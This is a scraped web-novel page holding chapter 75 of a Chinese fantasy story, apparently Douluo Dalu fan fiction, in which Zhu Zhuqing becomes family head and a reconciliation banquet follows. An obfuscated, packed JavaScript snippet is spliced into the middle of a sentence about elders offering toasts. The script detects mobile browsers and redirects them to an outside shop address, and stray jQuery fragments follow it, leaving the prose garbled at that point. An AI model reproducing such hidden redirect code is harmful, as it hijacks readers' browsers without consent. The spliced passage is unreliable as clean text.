默认冷灰
24号文字
方正启体

75. 第七十五章:何处归家,此夜温情

作者:望月怀柔本书字数:K更新时间:
    当朱家议事厅内那几位最顽固的长老,如同被抽去了脊梁骨般,深深地弯下他们那高傲了几十年的腰时,这场关于朱家未来命运的、充满了火药味的权力交接,便以一种近乎于荒诞的、却又理所当然的方式,落下了帷幕。


    没有慷慨激昂的陈词,没有血腥残酷的清洗。


    朱竹云只用了寥寥数语,和一段足以被载入大陆史册的、堪称神迹的辉煌战绩,便将所有潜在的、不和谐的声音,都彻底地,碾成了齑粉。


    在绝对的、不讲道理的实力面前,任何的质疑与算计,都显得那么的苍白,那么的可笑。


    大厅里的气氛,一时间变得无比尴尬。


    那些刚刚还口沫横飞、激烈争辩的长老们,此刻一个个都像是被霜打了的茄子,低着头,眼观鼻,鼻观心,连大气都不敢喘一口。他们能清晰地感觉到,那两个站在大厅中央的、看起来娇滴滴的少女身上,散发出的,是足以将他们所有人,连同整个朱家,都轻易抹去的、冰冷的杀伐之气。


    他们毫不怀疑,如果刚才自己等人,真的选择了愚蠢的抵抗,那么下一秒,等待他们的,很可能就是与那三位封号斗罗一样的、神魂俱灭的下场。


    最终,还是家主朱延,这位曾经在星罗帝国权倾朝野的大人物,第一个打破了这份令人窒息的尴尬。


    他迈着沉重的、仿佛灌了铅般的步伐,缓缓地,走下了那张象征着家主之位的、冰冷的紫檀木主座。他没有看任何人,只是走到了朱竹清的面前,那张总是充满了威严的脸上,此刻写满了无法用言语形容的、深深的愧疚与……一丝如释重负的解脱。


    他从怀里,颤抖着,取出一枚通体由幽冥灵猫的魂骨雕琢而成、散发着淡淡魂力波动的古朴印章。


    这是朱家家主的信物,是掌控着朱家所有产业、财富和秘密的最高权力象征。


    “清儿……”朱延的声音,沙哑得像被砂纸打磨过一般,他不敢去看女儿那双清冷的、仿佛能洞悉一切的眼睛,只是低着头,用一种近乎于梦呓的、充满了无尽悔恨的语气,喃喃地说道,“以前……是爹对不起你,对不起月月。爹……爹被那所谓的家族荣誉,被那该死的权势,蒙蔽了双眼。爹……不是一个好父亲。”


    他深吸一口气,像是用尽了全身的力气,将手中的家主之印,郑重地,递到了朱竹清的面前。


    “从今天起,你,就是朱家的新家主。”


    “朱家的未来,朱家上上下下数千口人的性命,就……全都交到你手上了。”


    说完这番话,他整个人,仿佛瞬间被抽干了所有的精气神,一下子苍老了十几岁。


    朱竹清默默地看着眼前的父亲,看着他那不再挺拔的脊梁,和鬓角不知何时悄然生出的几缕白发,心中那块被她冰封了八年的坚冰,再次,悄然裂开了一道缝隙。


    她没有说话,只是伸出手,接过了那枚沉甸甸的、代表着责任与权力的家主之印。


    就在她接过印章的瞬间,大厅之内,所有的朱家长辈,包括那些曾经心怀鬼胎的长老们,全都齐刷刷地,单膝跪地,用一种发自灵魂深处的、充满了敬畏与臣服的语气,高声喊道:


    “我等,拜见清家主!”


    那声音,整齐划一,响彻云霄,也宣告着,朱家,这个在星罗帝国屹立了数百年的古老家族,在今天,正式迎来了一位新的、也是有史以来最年轻的、更是权势最滔天的……女主人。


    朱竹清握着手中那温润的、还带着父亲体温的印章,看着眼前这跪了一地、曾经需要自己仰望的大人物们,心中却没有半分得偿所愿的快感,只剩下一种恍如隔世般的、淡淡的怅然。


    她转过头,看了一眼身旁的朱竹云,后者对着她,露出了一个鼓励的、充满了“你现在是老大了,你说了算”的眼神。


    朱竹清深吸一口气,她知道,自己必须说点什么,做点什么。


    但她不擅长那些慷慨激昂的、鼓舞人心的场面话。她能想到的,只有最朴实、也最直接的方式。


    “都起来吧。”她的声音,依旧清冷,却带着一股不容置疑的、属于家主的威严,“福伯。”


    “老奴在!”一直候在门外的老管家,立刻连滚带爬地跑了进来,脸上写满了激动与与有荣焉的自豪。


    “传我命令。”朱竹清看着大厅里那一张张神色各异的脸,缓缓说道,“今晚,在府里,开宴。”


    “把库里最好的食材,最好的美酒,全都拿出来。让所有的厨子,都动起来。”


    “今晚,我们一家人,好好地,吃顿饭。”


    她顿了顿,目光扫过自己的父母,扫过堂姐的父母,那清冷的眸子里,终于,泛起了一丝属于家人的、温暖的涟漪。


    “只论叙旧,不提……其他。”


    这简简单单的一句话,却如同一股最温暖的春风,瞬间吹散了笼罩在议事大厅里那压抑了数日的阴霾。


    “是!老奴遵命!”福伯激动得老泪纵横,他知道,眼前这个外冷内热的大小姐,不,是清家主,她是在用自己的方式,向这个曾经伤害过她的家族,递出了一根和解的橄榄枝。


    而朱延,在听到“一家人”这三个字时,那双浑浊的眼睛里,也瞬间蓄满了泪水。他知道,女儿,终究还是原谅了他,原谅了这个家。


    夜幕降临,华灯初上。


    白日里还一片萧条死寂的朱家府邸,此刻,却是一片灯火通明,人声鼎沸。


    无数的仆人、侍女,如同勤劳的蜜蜂般,在巨大的庭院和宴会厅里来回穿梭,脸上都洋溢着劫后余生般的、发自内心的喜悦。


    家主回来了!而且还带回来一个能让整个朱家都一步登天的、天大的好消息!


    今晚的宴席,就摆在朱家最宽敞、最气派的中心宴会厅里。


    长长的、由千年金丝楠木打造的巨大餐桌之上,摆满了琳琅满目的、令人垂涎三尺的山珍海味。有那从极北冰原空运而来的、冰镇的千年雪蟹;有那从南海深处捕捞的、清蒸的百年龙趸;更有那由朱家自己的牧场饲养的、最顶级的五百年份火焰牛排……每一道菜,都由朱家最顶级的厨师,用最精湛的手艺,精心烹制而成,香气四溢,足以让任何一个自诩为美食家的人,都为之疯狂。


    宴席的主位,自然是属于新任家主,朱竹清。


    她的左手边,是同样意气风发的朱竹云。而她的右手边,则是她的母亲,那位雍容华贵的朱家主母。


    从宴席开始的那一刻起,这位母亲,便将所有的注意力,都放在了自己这个失而复得的女儿身上。她仿佛要把这八年来所有的亏欠,都在今晚,一次性地,全都弥补回来。


    “清儿,来,尝尝这个,这是你小时候最爱吃的清蒸龙趸鱼,娘特意让厨房给你做的。”


    “清儿,喝点这个,这是用百种灵花酿造的‘百花酿’,最是养颜美容了。”


    “清儿,你看你,都瘦了。在外面这几年,是不是吃了很多苦?有没有好好吃饭?有没有被人欺负?”


    她一边絮絮叨叨地说着,一边不停地往朱竹清的碗里夹着菜,那双总是带着几分哀愁的美眸里,此刻写满了为人母的、最纯粹的心疼与宠溺。


    朱竹清有些不适应。


    她已经很久很久,没有感受过这种无微不至的、充满了烟火气的母爱了。在她的记忆里,自从六岁离开家之后,陪伴她的,只有日复一日的、冰冷的训练,和妹妹那虽然同样温暖、却更带着几分“同生共死”意味的战友情。


    可她,却并不讨厌这种感觉。


    她只是默默地、安静地,吃着母亲夹给她的每一道菜,听着她那充满了关切的唠叨。偶尔,会抬起头,对着她,轻轻地点点头,或者,从喉咙里,发出一声极轻的、几乎听不见的“嗯”。


    每一个细微的动作,都让那位母亲,感到无尽的欣慰与满足。


    而坐在对面的朱延,则显得有些局促和尴尬。他也想学着妻子那样,去关心一下女儿,去夹一筷子菜。可他的手,每一次抬起,却又会在半空中,僵硬地停住,然后,默默地,收了回来。


    他不知道该说什么。


    说“对不起”?太轻了,也太假了。


    说“欢迎回家”?他觉得自己,根本没有这个资格。


    最终,他只能端起面前的酒杯,一杯接着一杯地,将那辛辣的美酒,灌入喉中,仿佛只有这样,才能将心中那份如山般沉重的愧疚与悔恨,暂时地,麻痹片刻。


    另一边,朱竹云的父母,则是彻底地,扬眉吐气了。


    “云儿,来,爹敬你一杯!”朱竹云的父亲,那个总是温文尔雅的中年男人,此刻激动得满脸通红,他高高地举起酒杯,声音洪亮地说道,“好女儿!你真是爹娘的骄傲!我们这一脉,能出你这么一个有出息的麒麟女,真是……真是祖坟上冒青烟了啊!”


    “是啊是啊!”朱竹云的母亲也跟着附和道,她看着自己女儿那张充满了自信与光彩的脸,眼眶湿润,“云儿,以前是爹娘没本事,让你跟着我们,受了不少委屈。现在好了,你出人头地了,以后,再也没人敢看不起我们了!”


    朱竹云看着自己父母那副与有荣焉的、发自内心的激动模样,心中也是一阵感慨。


    “爹,娘,”她端起酒杯,与父亲碰了一下,然后一饮而尽,脸上露出了一个释然的、灿烂的笑容,“都过去了。以后,有女儿在,你们二老,就只管享福吧。”


    至于那些曾经高高在上的长老们,此刻,则成了宴席上最积极、也最尴尬的“气氛组”。


    他们端着酒杯,轮番


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387915|200282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上阵,排着队地,来给朱竹清和朱竹云敬酒。


    “清家主!云郡主!老夫敬二位一杯!之前是老夫有眼不识泰山,多有得罪,还望二位大人不记小人过,海涵,海涵啊!”


    “是啊是啊!清家主当真是人中龙凤,天纵奇才!有您带领我们朱家,何愁不能再创辉煌啊!”


    他们口中说着各种肉麻的、言不由衷的奉承话,脸上的笑容,谦卑得甚至带着几分谄媚,与白日里那副趾高气昂的模样,判若两人。


    对于这些“墙头草”,朱竹清依旧是那副清冷的、不悲不喜的模样。别人敬酒,她便象征性地抿一口,多余的话,一句都懒得说。


    而朱竹云,则将“嘴替”的职责,发挥到了极致。


    她笑吟吟地,应对着每一个前来敬酒的长老,言辞犀利,却又滴水不漏。


    “李长老言重了。过去的事,就让它过去吧。毕竟,人嘛,总是要往前看的。您说,对吗?”她对着那个曾经叫嚣着要“俯首称臣”的李长老,笑眯眯地说道,那话里的深意,却让对方的额头上,瞬间冒出了一层冷汗。


    “王长老谬赞了。朱家能不能再创辉煌,我不知道。但我知道,从今往后,朱家的规矩,要改一改了。”她又对着那个曾经反对得最激烈的王长老,举了举杯,那眼神,锐利得仿佛能将对方的心思都看穿,“有些尸位素餐、倚老卖老的老家伙,也该挪挪位置,给有能力、肯办事的年轻人,腾腾地方了。”


    她三言两语之间,便将这些老家伙们,敲打得服服帖帖,一个个噤若寒蝉,再也不敢有半分异心。


    宴席的气氛,就在这种既温馨又诡异的氛围中,缓缓地进行着。


    大家都很默契地,没有去提任何关于天斗女国,关于战争,关于未来接管星罗的政治话题。


    他们聊的,都是些家长里短的琐事。


    朱竹清的母亲,拉着女儿的手,问她在史莱克学院,都交了些什么朋友,是不是也像在家里一样,爱吃鱼,却不爱吃青菜。


    朱竹云的父亲,则兴致勃勃地,听着女儿讲述她们在珠光城,是如何白手起家,建立起一座座魂导器工厂和养殖场的。


    朱竹清虽然话少,但面对母亲那充满了关切的询问,她也难得地,多说了几句。她说起了那个天真烂漫、嗜吃如命的“兔子精”小舞;说起了那个财大气粗、却又极重义气的“小富婆”宁荣荣;甚至,还提到了那个总是油嘴滑舌、却能在关键时刻挺身而出的“香肠大叔”奥斯卡。


    当听到女儿在外面,竟然交到了这么多知心的、可以托付后背的朋友时,朱家主母的脸上,露出了发自内心的、欣慰的笑容。


    酒过三巡,菜过五味。


    夜,已深。


    这场充满了特殊意义的家宴,也终于,缓缓地,落下了帷幕。


    朱延喝得酩酊大醉,最后,是被几个下人,搀扶着回去的。临走前,他拉着朱竹清的手,嘴里含糊不清地,反复地,只说着两个字——“爹……错了……”


    长老们也一个个识趣地告辞离去,脸上那副如释重负的表情,仿佛刚刚从鬼门关前走了一遭。


    宴会厅里,最终,只剩下了朱竹清姐妹,和她们的母亲,以及同样喝得满脸通红的朱竹云的父母。


    “清儿,云儿。”朱家主母拉着两个女孩的手,那双美丽的眼睛里,充满了不舍与慈爱,“今晚,就别回你们以前的院子了。就……就陪娘一起睡,好不好?娘……已经好久好久,没有跟你们,好好地说说话了。”


    朱竹清和朱竹云对视一眼,都从对方的眼中,看到了一丝温暖的笑意。


    她们点了点头。


    “好。”


    那一夜,星罗城的月光,格外地皎洁,也格外地,温柔。


    它透过窗棂,静静地,洒在那张宽大的、柔软的沉香木大床上。床上,三个绝美的身影,依偎在一起,仿佛回到了许多许多年以前,那个无忧无虑的、充满了欢声笑语的童年。


    她们聊了很多很多。


    聊起了月月小时候,为了偷吃厨房里的点心,结果掉进面缸里,把自己弄成一个“雪人”的糗事。


    聊起了竹清小时候,明明怕得要死,却还是会鼓起勇气,赶走那些欺负妹妹的、比她高一个头的男孩子。


    聊起了竹云小时候,总是像个大姐姐一样,默默地跟在她们身后,为她们收拾各种烂摊子。


    那些尘封在记忆深处的、温暖的碎片,在这一夜,被一点点地,重新拾起,拼接,然后,缓缓地,抚平了那道横亘在她们心中长达八年之久的、深深的沟壑。


    或许,过去的伤痛,无法被彻底抹去。


    但至少,在这一刻,在这片被月光笼罩的、充满了亲情的温暖里,她们终于找到了,那条回家的路。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)